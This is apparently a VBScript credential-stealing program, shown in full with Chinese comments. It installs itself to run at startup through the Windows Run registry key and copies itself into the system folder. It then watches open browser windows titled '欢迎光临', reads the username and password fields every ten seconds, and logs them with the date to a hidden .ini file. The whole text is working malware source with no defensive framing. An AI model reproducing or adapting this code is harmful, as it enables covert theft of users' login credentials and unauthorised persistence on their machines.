dim pass,user
dim fu,na
dim filespec
Set wshshell = CreateObject("Wscript.Shell") '写注册表开机自启动
Set she = CreateObject("shell.application")
set fso = CreateObject("Scripting.FileSystemObject")
'call main()
sub main()
fu=wscript.scriptfullname
na=wscript.scriptname
if mid(fu,1,len(fu)-len(na)-1)="C:\WINDOWS\SYSTEM" then
filespec=wshshell.regread("HKLM\Software\pat")
If (fso.FileExists(filespec)) Then
fso.DeleteFile(filespec)
end if
If fso.fileexists("c:\windows\system32\wangdao.ini") = False Then
Set a = fso.openTextFile("c:\windows\system32\wangdao.ini", 8, True)
a.WriteLine "name+pass+date"
a.WriteLine "2002224"
a.Close
end if
call dao()
else
wshshell.Regwrite "HKLM\Software\pat",fu
wshshell.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\wangda
o", "wscript.exe wangdao.vbs"
fso.copyfile fu,"c:\windows\system\wangdao.vbs"
end if
end sub
call dao()
sub dao()
on error resume next
dim ws
dim a
For Each ws In she.windows
if ws.document.title="欢迎光临" then
user=ws.document.all.userid.value
pass=ws.document.all.passwd.value
msgbox user & vbcrlf & pass
if len(pass)<>0 and len(user)<>0 then
Set a = fso.openTextFile("c:\windows\system32\wangdao.ini", 1, True)
Do While a.atendofstream <> True
tou = a.readline
Loop
If Mid(tou, 1, Len(user)) <> user Then '判断是否是上一个用户
save
Else
If Mid(tou, Len(user) + 2, Len(pass)) <> pass Then
save
End If
End If
end if
end if
Next
delay 10
call dao
End Sub
sub delay(delaytime)
dim sec,lpf
sec=24*60*60
lpf = timer + delaytime
if lpf > sec then
lpf = lpf-sec
do while timer > lpf
loop
end if
do while timer < lpf
loop
end sub
sub save()
dim love
Set a = fso.openTextFile("c:\windows\system32\wangdao.ini", 8, True)
love = user & " " & pass & " " & date
a.WriteLine love
a.Close '记录密码到本地文件
end sub
--

主目录 分目录